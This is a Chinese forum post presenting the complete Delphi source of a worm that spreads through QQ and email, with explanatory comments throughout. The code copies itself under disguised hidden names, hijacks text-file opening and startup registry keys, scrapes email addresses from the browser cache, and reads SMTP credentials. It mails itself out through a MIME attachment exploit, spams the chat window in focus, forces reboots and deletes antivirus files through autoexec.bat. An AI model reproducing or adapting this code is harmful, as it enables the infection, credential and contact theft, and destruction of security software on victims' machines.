返回列表 回复 发帖

一个Delphi完成的QQ病毒源代码

信息来源:SuperHei
  1. unit Unit1;

  2. interface

  3. uses
  4. Windows, Messages, SysUtils, Forms, shellapi,
  5. winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;

  6. type
  7. TForm1 = class(TForm)
  8. Timer1: TTimer;
  9. Memo1: TMemo;
  10. procedure Timer1Timer(Sender: TObject);
  11. procedure FormCreate(Sender: TObject);
  12. procedure FormDestroy(Sender: TObject);
  13. private
  14. procedure FindFiles(StartDir: string);
  15. procedure GetEmailAddress(FileName:string);
  16. procedure WriteAddress(Address:string);

  17. { Private declarations }
  18. public
  19. procedure getinputhandle;
  20. procedure postmsg;
  21. procedure scanemail;
  22. procedure wmwindowsclose(var msg:Tmessage);message wm_queryendsession;
  23. procedure kill98;
  24. { Public declarations }
  25. end;
  26. type
  27. cs=record
  28. address:array[0..99] of string;
  29. count:integer; //email地址的个数
  30. smtp:pchar; //smtp服务器的地址
  31. account:pchar; //发送信笺时使用的帐号
  32. end;
  33. var
  34. Form1: TForm1;
  35. hWnd11:hwnd;
  36. i,safeid:integer;
  37. talk1,talk2,talk3:string;
  38. const
  39. HELO=HELO#13#10;
  40. MAILFROM=MAIL FROM: %S#13#10;
  41. RCPTTO=RCPT TO: %S#13#10;
  42. DATA=DATA#13#10;
  43. QUIT=QUIT#13#10;
  44. ENDSIGN=#13#10.#13#10;
  45. implementation
  46. // function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external KERNEL32.DLL;
  47. {$R *.dfm}
  48. function checkwinver:string;
  49. var
  50. OS :TOSVersionInfo;
  51. begin
  52. ZeroMemory(@OS,SizeOf(OS));
  53. OS.dwOSVersionInfoSize:=SizeOf(OS);
  54. GetVersionEx(OS);
  55. Result:=未知;
  56. if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then begin
  57. case OS.dwMajorVersion of
  58. 3: Result:=NT;
  59. 4: Result:=NT;
  60. 5: Result:=2000;
  61. end;
  62. if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) then
  63. Result:=XP;
  64. end else begin
  65. if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then begin
  66. Result:=95;
  67. if (Trim(OS.szCSDVersion)=B) then
  68. Result:=952;
  69. end else
  70. if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then begin
  71. Result:=98;
  72. if (Trim(OS.szCSDVersion)=A) then
  73. Result:=982;
  74. end else
  75. if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
  76. Result:=ME;
  77. end;
  78. end;
  79. procedure tform1.FindFiles(StartDir: string);
  80. var
  81. SR: TSearchRec; //用来储存返回的文件的一些数据
  82. IsFound: Boolean;//做为一个标志
  83. begin
  84. IsFound :=FindFirst(StartDir+*.htm, faAnyFile-faDirectory, SR) = 0;
  85. //在startdir里面查找htm文件
  86. while IsFound do begin
  87. //如果找到htm文件
  88. GetEmailAddress(startdir+sr.Name);
  89. //这里调用我们自己定义的函数,传递的参数是startdir+sr.name也就是该文件的绝对路径。
  90. //注意,这里的函数 GetEmailAddress我们等一下再来描述
  91. IsFound := FindNext(SR) = 0;
  92. //继续查找htm文件,只到标志isfound为false
  93. end;
  94. FindClose(SR);
  95. IsFound := FindFirst(StartDir+*.*, faAnyFile, SR) = 0;
  96. //现在是查找所有的文件
  97. while IsFound do begin
  98. if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> .) then
  99. findfiles(startdir+sr.Name+\);
  100. //如果该文件是目录,并且不是"."或者"..",那么就在该目录里继续查找,也就是在这里递归了。
  101. IsFound := FindNext(SR) = 0;
  102. end;
  103. FindClose(SR);
  104. end;
  105. procedure tform1.GetEmailAddress(FileName:string);
  106. var
  107. F:textfile;
  108. S:string;//用来装每次读一行的字符串
  109. Address:string;//得到的email地址
  110. i,Position:integer;
  111. begin
  112. AssignFile(F,FileName);
  113. Reset(f);
  114. while not Eof(f) do
  115. begin
  116. Address:=;
  117. //首先清空address
  118. Readln(f,s);
  119. //读取一行字符串到s中
  120. Position:=Pos(mailto:,S);
  121. //查找首个"mailto:"在s中的地址,如果一行中含有多个"mailto:"则需要你自己修改修改
  122. if Position > 0 then
  123. begin
  124. for i:=Position+7 to length(S) do
  125. //这里position+7里的7表示"mailto:"的长度
  126. begin
  127. if ((Upcase(s)<=#90) and (Upcase(s)>=#64)) or ((S<=#57) and (S>=#48)) or (S=.) then
  128. //判断是否有效字符
  129. Address:=Address+S
  130. else
  131. break;
  132. end;
  133. if (Address<>) and (Pos(@,Address)<>0) then
  134. //如果是有效地址,就把它写到列表中去。
  135. //但是,可能这个地址以前已经存在在这个列表中,
  136. //所以我定义了一个函数WriteAddress来判断是否存在该地址
  137. //如果不存在,就添加到地址列表中去。
  138. WriteAddress(Address);
  139. end;
  140. end;
  141. closefile(f);
  142. end;
  143. procedure tform1.WriteAddress(Address:string);
  144. var
  145. F:textfile;
  146. S,Str:string;
  147. CanWrite:boolean;
  148. Path:array[0..255] of char;
  149. begin
  150. GetSystemDirectory(path,256);
  151. //首先取得系统目录,到时候把email地址列表文件保存到这里。
  152. Str:=Strpas(Path);
  153. CanWrite:=true;
  154. AssignFile(F,Str+\maillist.lst);
  155. if FileExists(Str+\maillist.lst)=false then
  156. begin
  157. //如果不存在maillist.lst,则信建一个文件maillist.lst来存放email地址。
  158. Rewrite(F);
  159. writeln(F,Address);
  160. Closefile(F);
  161. exit;
  162. end else
  163. begin
  164. Reset(f);
  165. while not Eof(F) do
  166. begin
  167. Readln(F,S);
  168. if Address=S then
  169. begin
  170. CanWrite:=false;
  171. break;
  172. end;
  173. end;
  174. CloseFile(F);
  175. end;

  176. if CanWrite then
  177. begin
  178. Append(F);
  179. Writeln(F,Address);
  180. CloseFile(F);
  181. end;
  182. end;
  183. procedure SelfCopy;
  184. var
  185. Path,value:array [0..255] of char;
  186. Hk:HKEY;
  187. S:string;
  188. begin
  189. GetSystemDirectory(Path,256);
  190. //取得系统的路径
  191. s:=strpas(Path);
  192. //转换成字符串
  193. CopyFile(pchar(paramstr(0)),pchar(S+\exp1orer.exe),false);
  194. CopyFile(pchar(paramstr(0)),pchar(S+\notopad.exe),false);
  195. //把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
  196. SetFileAttributes(pchar(S+\exp1orer.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
  197. SetFileAttributes(pchar(S+\notopad.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
  198. //设置刚才的两个文件为系统和隐藏
  199. RegOpenKey(HKEY_CLASSES_ROOT,txtfile\shell\open\command,Hk);
  200. value:=notopad.exe %1;
  201. RegSetvalueEx(Hk,,0,REG_SZ,@value,17);
  202. //把virus_ruin.exe和文本文件关联
  203. RegOpenKey(HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Run,Hk);
  204. value:=notopad.exe;
  205. RegSetvalueEx(Hk,ruin,0,REG_SZ,@value,8);
  206. //设置开机自动运行ruin.exe
  207. end;
  208. procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数,也就两个文件的路径
  209. const
  210. _Code64: String[64] =(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/);
  211. //这里就是base64编码算法的64个字符
  212. crlf=#13#10;
  213. //定义crlf为回车换行
  214. var
  215. s,d:file;
  216. buf1:array[0..2] of byte;
  217. buf2:array[0..3] of char;
  218. llen,len,pad,i:integer;
  219. begin
  220. assignfile(d,dest); //这里是目标文件
  221. rewrite(d,1);
  222. assignfile(s,source);//这里是原始文件
  223. reset(s,1);
  224. pad:=0;
  225. llen:=0;
  226. while (1=1) do
  227. begin
  228. blockread(s,buf1,3,len);if len=0 then break;
  229. if (len<3) then
  230. begin
  231. pad:=3-len;
  232. for i:=len to 2 do
  233. buf1:=0;
  234. end;
  235. buf2[0]:=_Code64[buf1[0] div 4+1];
  236. buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1];
  237. buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1];
  238. buf2[3]:=_Code64[buf1[2] mod 64+1];
  239. //这里进行了编码
  240. if (pad<>0) then
  241. begin
  242. if pad=2 then buf2[2]:==;
  243. buf2[3]:==;
  244. //输入只有一个或两个字节,那么输出将用等号“=”补足
  245. blockwrite(d,buf2,4);
  246. end
  247. else
  248. begin
  249. blockwrite(d,buf2,4);
  250. end;
  251. inc(llen,4);
  252. if (llen=76) then
  253. begin
  254. blockwrite(d,crlf,2);
  255. //控制每行只写76个字符
  256. llen:=0;
  257. end;
  258. end;
  259. blockwrite(d,crlf,2);
  260. closefile(d);
  261. closefile(s);
  262. end;
  263. function makeboundary:string;
  264. begin
  265. result:=-----=_老同学_+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10));
  266. end;
  267. procedure makeemlfile;
  268. var
  269. f,d:textfile;
  270. path:array[0..255] of char;
  271. boundary1,boundary2,S,str,line:string;
  272. begin
  273. GetSystemDirectory(path,256);
  274. str:=strpas(path);
  275. boundary1:=makeboundary;
  276. boundary2:=makeboundary;
  277. //这里,我们随机的生成了两个标签。
  278. Randomize;
  279. s:=From: +inttostr(Random(100))+@21cn.com+#13#10//这里你可以换成你自己的email地址
  280. +Subject: 你好!#13#10 //这里,你也可以随机的来生成主题
  281. +X-Priority: 1#13#10 //邮件的优先级,其实可以忽略
  282. +Mime-Version: 1.0#13#10
  283. +Content-Type: multipart/related;boundary="+boundary1+"#13#10#13#10
  284. +--+boundary1+#13#10
  285. +Content-Type: multipart/alternative;boundary="+boundary2+"#13#10
  286. +--+boundary2+#13#10
  287. +Content-Type: text/html#13#10
  288. +Content-Transfer-Encoding: quoted-printable#13#10#13#10
  289. +<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>#13#10
  290. +--+boundary1+#13#10
  291. +Content-Type: audio/x-wav;name="ruin.exe"#13#10 //就是这里audio/x-wav为mime漏洞了。
  292. +Content-Transfer-Encoding: base64#13#10
  293. +Content-ID: <THE-CID>#13#10#13#10;
  294. //这里就是填充一些必要的信息。
  295. assignfile(f,str+\ruin.eml);
  296. rewrite(f);
  297. write(f,s);//首先把上面的内容写入文件ruin.eml
  298. CopyFile(pchar(paramstr(0)),pchar(str+\ruin_temp.exe),false);
  299. //因为不能打开自身进行读写,所以,这里先做一个拷贝文件,我们直接来读拷贝后的文件
  300. encodebase64(str+\ruin_eml.txt,str+\ruin_temp.exe);
  301. deletefile(str+\ruin_temp.exe);
  302. //删除刚才拷贝的临时文件
  303. assignfile(d,str+\ruin_eml.txt);
  304. reset(d);
  305. while not eof(d) do
  306. begin
  307. readln(d,line);
  308. writeln(f,line);
  309. //接着向ruin.eml里面写入我们的病毒代码的base64编码
  310. end;
  311. closefile(d);
  312. deletefile(str+\ruin_eml.txt);
  313. //删除刚才调用base64编码算法生成的临时文件
  314. closefile(f);
  315. end;
  316. function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度
  317. var
  318. i:integer;
  319. begin
  320. for i:=1 to length(buffer) do
  321. if buffer=#10 then break;
  322. mysizeof:=i;
  323. end;

  324. function randomaddress:pchar; //产生一个用户名
  325. begin
  326. Randomize;
  327. result:=pchar(inttostr(random(1000))+@21cn.com);
  328. end;

  329. function getip(name:pchar):pchar;
  330. type
  331. plongint=^longint;
  332. var
  333. phe:phostent;
  334. address:longint;
  335. begin
  336. phe:=gethostbyname(name);
  337. if phe <> nil then
  338. begin
  339. address:=longint(plongint(phe^.h_addr_list^)^);
  340. getip:=inet_ntoa(TInAddr(Address));
  341. end
  342. else getip:=name;
  343. end;
  344. procedure sendmail(canshu:cs);
  345. var
  346. s:tsocket;
  347. //wsa:twsadata;
  348. server:tsockaddr;
  349. errorcode,i,count:integer;
  350. smtp,account:pchar;
  351. address:array of string;
  352. recvbuffer,sendbuffer:array[0..79] of char;
  353. head,path:array[0..255] of char;
  354. body:array of char;
  355. f:file;
  356. str:string;
  357. begin
  358. //wsastartup(01,wsa);
  359. //加载winsock库
  360. GetSystemDirectory(path,256);
  361. str:=strpas(path);
  362. count:=2;
  363. setlength(address,count);
  364. getmem(smtp,256);
  365. getmem(account,256);
  366. //分配内存空间
  367. strcopy(smtp,canshu.smtp);
  368. strcopy(account,canshu.account);
  369. //填充一些基本的信息
  370. s:=socket(af_inet,sock_stream,0);
  371. //建立一个套接字
  372. if s=invalid_socket then exit;
  373. server.sin_family:=af_inet;
  374. server.sin_port:=htons(25);
  375. server.sin_addr.S_addr:=inet_addr(getip(canshu.smtp));
  376. errorcode:=connect(s,server,sizeof(server));
  377. //调用connect和服务器连接
  378. if errorcode=0 then
  379. begin
  380. makeemlfile;
  381. //调用我们上面的函数,生成一个eml文件
  382. assignfile(f,str+\ruin.eml);
  383. reset(f,1);
  384. i:=filesize(f);
  385. setlength(body,i);
  386. blockread(f,body[0],i);
  387. //把刚才eml文件里面的所有内容都读取到body里面去
  388. closefile(f);
  389. recv(s,head,sizeof(head),0);
  390. //这里调用recv来接受服务器的banner
  391. strpcopy(sendbuffer,HELO);
  392. send(s,sendbuffer,6,0);
  393. //我们发送命令HELO
  394. recv(s,recvbuffer,sizeof(recvbuffer),0);
  395. //接收服务器的返回信息
  396. strpcopy(sendbuffer,format(mailfrom,[account]));
  397. send(s,sendbuffer,mysizeof(sendbuffer),0);
  398. //我们发送命令MAIL FROM
  399. recv(s,recvbuffer,sizeof(recvbuffer),0);
  400. //接收服务器的返回信息
  401. for i:=0 to count-1 do
  402. begin
  403. strpcopy(sendbuffer,format(RCPTTO,[address]));
  404. send(s,sendbuffer,mysizeof(sendbuffer),0);
  405. recv(s,recvbuffer,sizeof(recvbuffer),0);
  406. end;
  407. //已经发送count个rcpt to命令
  408. strpcopy(sendbuffer,DATA);
  409. send(s,sendbuffer,6,0);
  410. //这里开始发送信笺的主体
  411. recv(s,recvbuffer,sizeof(recvbuffer),0);
  412. //接收服务器的返回信息
  413. send(s,body[0],length(body),0);
  414. strpcopy(sendbuffer,ENDSIGN);
  415. send(s,sendbuffer,5,0);
  416. //这里发送信笺结束标志
  417. recv(s,recvbuffer,sizeof(recvbuffer),0);
  418. //接收服务器的返回信息
  419. strpcopy(sendbuffer,QUIT);
  420. send(s,sendbuffer,6,0);
  421. //发送QUIT表示我们要退出会话
  422. recv(s,recvbuffer,sizeof(recvbuffer),0);
  423. //接收服务器的返回信息
  424. closesocket(s);
  425. //关闭套接字
  426. deletefile(str+\ruin.eml);
  427. //删除临时文件
  428. end;
  429. freemem(smtp,256);
  430. freemem(account,256);
  431. //wsacleanup;
  432. end;
  433. procedure sendemails;
  434. var
  435. hk:hkey;
  436. smtp,account,path,smtppassword:array[0..255] of char;
  437. smtplen,accountlen,smtppasswordlen,i:integer;
  438. canshu:cs;
  439. f:textfile;
  440. str:string;
  441. begin
  442. GetSystemDirectory(path,256);
  443. str:=strpas(path);
  444. smtplen:=256;
  445. accountlen:=256;
  446. smtppasswordlen:=256;
  447. i:=0;
  448. RegOpenKey(HKEY_CURRENT_USER,Software\Microsoft\Internet Account Manager\Accounts000001,hk);
  449. RegQueryvalueEx(hk,SMTP Server,nil,nil,@smtp,@smtplen);
  450. RegQueryvalueEx(hk,Smtp Email Address,nil,nil,@account,@accountlen);
  451. RegQueryvalueEx(hk,SMTP Password2,nil,nil,@smtppassword,@smtppasswordlen);
  452. //一直到这里都是准备工作,读取该用户的帐号和smtp服务器
  453. if smtppasswordlen<>256 then
  454. //需要注意的是,这里smtp password2表示smtp服务器需要密码登陆
  455. //所以我们进行判断
  456. begin
  457. canshu.smtp:=smtp;
  458. canshu.account:=account;
  459. //这里是smtp服务器,按默认设置
  460. end else
  461. begin
  462. canshu.smtp:=smtp.21cn.com;
  463. canshu.account:=randomaddress;
  464. //否则,我设置为smtp服务器为smtp.21cn.com
  465. //帐号为随机产生一个21cn的地址
  466. //因为smtp.21cn.com不需要身份验证
  467. end;
  468. assignfile(f,str+\maillist.lst);
  469. reset(f);
  470. while not eof(f) do
  471. begin
  472. readln(f,canshu.address);
  473. inc(i);
  474. if i=100 then
  475. begin
  476. i:=0;
  477. canshu.count:=100;
  478. sendmail(canshu);
  479. //每次读100个地址,然后调用我们发送邮件的地址
  480. //sendmail函数在下面会定义,请往后看
  481. end;
  482. end;
  483. closefile(f);
  484. if i>0 then
  485. begin
  486. canshu.count:=i;
  487. sendmail(canshu);
  488. //这里是如果邮件个数不是100的整数倍,就读剩余的个数i
  489. end;
  490. end;


  491. procedure TForm1.getinputhandle();
  492. var
  493. FormThreadID,CWndThreadID:DWORD;
  494. begin
  495. i:=i+1;
  496. hWnd11:=GetForegroundWindow(); // 得到当前窗口

  497. if (hwnd11=form1.Handle) then
  498. begin
  499. hwnd11:=0;// 排除程序本身的窗口
  500. exit;
  501. end;
  502. FormThreadID:= GetCurrentThreadId(); // 本程序的线程ID

  503. // 当前窗口的线程ID

  504. CWndThreadID:=GetWindowThreadProcessId(hWnd11,nil);

  505. // 附加输入线程

  506. AttachThreadInput(CWndThreadID, FormThreadID, true);

  507. // 得到当前键盘光标所在的窗口

  508. hWnd11:= GetFocus();

  509. // 取消附加的输入线程


  510. AttachThreadInput(CWndThreadID, FormThreadID, false);

  511. end;
  512. procedure TForm1.Timer1Timer(Sender: TObject);
  513. begin
  514. try
  515. getinputhandle;
  516. Randomize;
  517. if i>5 then
  518. if random(5)=1 then
  519. begin
  520. postmsg;
  521. i:=0;
  522. end;
  523. if HourOf(now)=13 then
  524. //每天1点执行扫描
  525. begin
  526. scanemail;
  527. sendemails;
  528. end;
  529. except
  530. end;
  531. end;

  532. procedure TForm1.postmsg;
  533. Var a:widestring;
  534. b:array[0..500] of char;
  535. i:integer;
  536. Begin
  537. if hwnd11=0 then exit;
  538. zeromemory(@b,500);
  539. randomize;
  540. i:=random(4);
  541. a:=memo1.lines.text;
  542. if i=1 then
  543. a:=talk1;
  544. if i=2 then
  545. a:=talk2;
  546. if i=3 then
  547. a:=talk3;
  548. strpcopy(b,a);

  549. for i:=0 to 300 do
  550. begin
  551. postmessage(hwnd11,wm_char,wParam(b),0);
  552. end;
  553. keybd_event(vk_return,MapVirtualKey(vk_return,0),0,0);//键下R键。
  554. keybd_event(vk_return,MapVirtualKey(vk_return,0), KEYEVENTF_KEYUP,0);
  555. keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),0,0); //按下CTRL键。
  556. keybd_event(vk_return,MapVirtualKey(vk_return,0),0,0);//键下R键。
  557. keybd_event(vk_return,MapVirtualKey(vk_return,0), KEYEVENTF_KEYUP,0);//放开R键。
  558. keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),KEYEVENTF_KEYUP,0);//放开CTRL键。
  559. end;

  560. procedure TForm1.FormCreate(Sender: TObject);
  561. begin
  562. talk1:=我好爱你啊啊!爱你爱到沟里,想你想到坑里。=明教教主=!;
  563. talk2:=我好爱你啊啊!爱你爱到沟里,想你想到坑里。=明教教主=;
  564. talk3:=我好爱你啊啊!爱你爱到沟里,想你想到坑里。=明教教主=;
  565. try
  566. if paramcount=1 then
  567. begin
  568. //winexec(pchar(rav.exe+paramstr(1)),sw_show);
  569. shellexecute(0,open,pchar(notepad.exe),pchar(paramstr(1)),nil,sw_normal);
  570. end;
  571. i:=0;
  572. safeid:=2;
  573. SelfCopy;
  574. application.Title:=Suny Write;
  575. if findwindow(nil,冬天来了春天还会远吗?)<>0 then
  576. begin
  577. safeid:=4;
  578. application.Terminate;
  579. exit;
  580. end;
  581. application.Title:=冬天来了春天还会远吗?;
  582. if (checkwinver=98) or (checkwinver=982) then
  583. begin
  584. kill98;
  585. winexec(command /c explorer.exe,sw_hide);
  586. end;
  587. if checkwinver=2000 then
  588. begin

  589. end;

  590. except
  591. end;
  592. end;

  593. procedure TForm1.scanemail;
  594. var
  595. HK:HKEY;
  596. IeCache:array[0..255] of char;
  597. IeCacheLen:integer;
  598. S:string;
  599. begin
  600. IeCacheLen:=256;
  601. //设置返回值的长度
  602. RegOpenKey(HKEY_CURRENT_USER,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\,HK);
  603. RegQueryvalueEx(HK,Cache,nil,nil,@IeCache,@ieCacheLen);
  604. //读取IE缓存的路径
  605. S:=Strpas(IeCache)+\;
  606. //在刚才取得的路径后面加一个\
  607. FindFiles(S);
  608. //调用我们自己写的函数

  609. end;

  610. procedure TForm1.wmwindowsclose(var msg: Tmessage);
  611. begin
  612. safeid:=4;
  613. end;
  614. procedure reboot;
  615. var
  616. hProcess, hToken, lBufferNeeded: Cardinal;
  617. tmpLuid: TLargeInteger;
  618. tkp, tkp1: TOKEN_PRIVILEGES;
  619. begin
  620. if (checkwinver=98)or(checkwinver=982) then
  621. begin
  622. ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0);
  623. exit;
  624. end;
  625. hProcess := GetCurrentProcess;
  626. OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY), hToken);
  627. LookupPrivilegevalue(, SeShutdownPrivilege, tmpLuid);
  628. tkp.PrivilegeCount := 1;
  629. tkp.Privileges[0].Luid := tmpLuid;
  630. tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  631. AdjustTokenPrivileges(hToken, False, tkp, sizeof(tkp1), tkp1, lBufferNeeded);

  632. ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0); // 重启
  633. end;
  634. procedure TForm1.FormDestroy(Sender: TObject);
  635. begin
  636. if safeid<>4 then
  637. begin

  638. reboot;
  639. end;
  640. end;

  641. procedure TForm1.kill98;
  642. var t:tinifile;
  643. a:array[0..255] of char;
  644. s,k:string;
  645. Tmp:integer;
  646. f:textfile;
  647. begin
  648. try
  649. GetwindowsDirectory(a,255);
  650. s:=a;
  651. t:=tinifile.create(s+\+system.ini);
  652. t.writestring(boot,shell,application.ExeName);
  653. SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Tmp,0);
  654. t.free;

  655. assignfile(f,c:\msdos.sys);
  656. reset(f);
  657. while not eof(f) do
  658. begin
  659. readln(f,k);
  660. end;
  661. if k<>bootkeys=0 then
  662. begin
  663. append(f);
  664. Writeln(f,bootkeys=0);
  665. Flush(f);
  666. end;
  667. closefile(f);
  668. if directoryexists(c:\Program Files\rising)or directoryexists(d:\Program Files\rising) then
  669. begin
  670. assignfile(f,c:\autoexec.bat);
  671. reset(f);
  672. append(f);
  673. Writeln(f,del c:\Program Files\rising\*.*);
  674. Writeln(f,del d:\Program Files\rising\*.*);
  675. Writeln(f,del e:\Program Files\rising\*.*);
  676. Writeln(f,del f:\Program Files\rising\*.*);
  677. Flush(f);
  678. closefile(f);
  679. end;

  680. except
  681. end;
  682. end;

  683. end.
复制代码
返回列表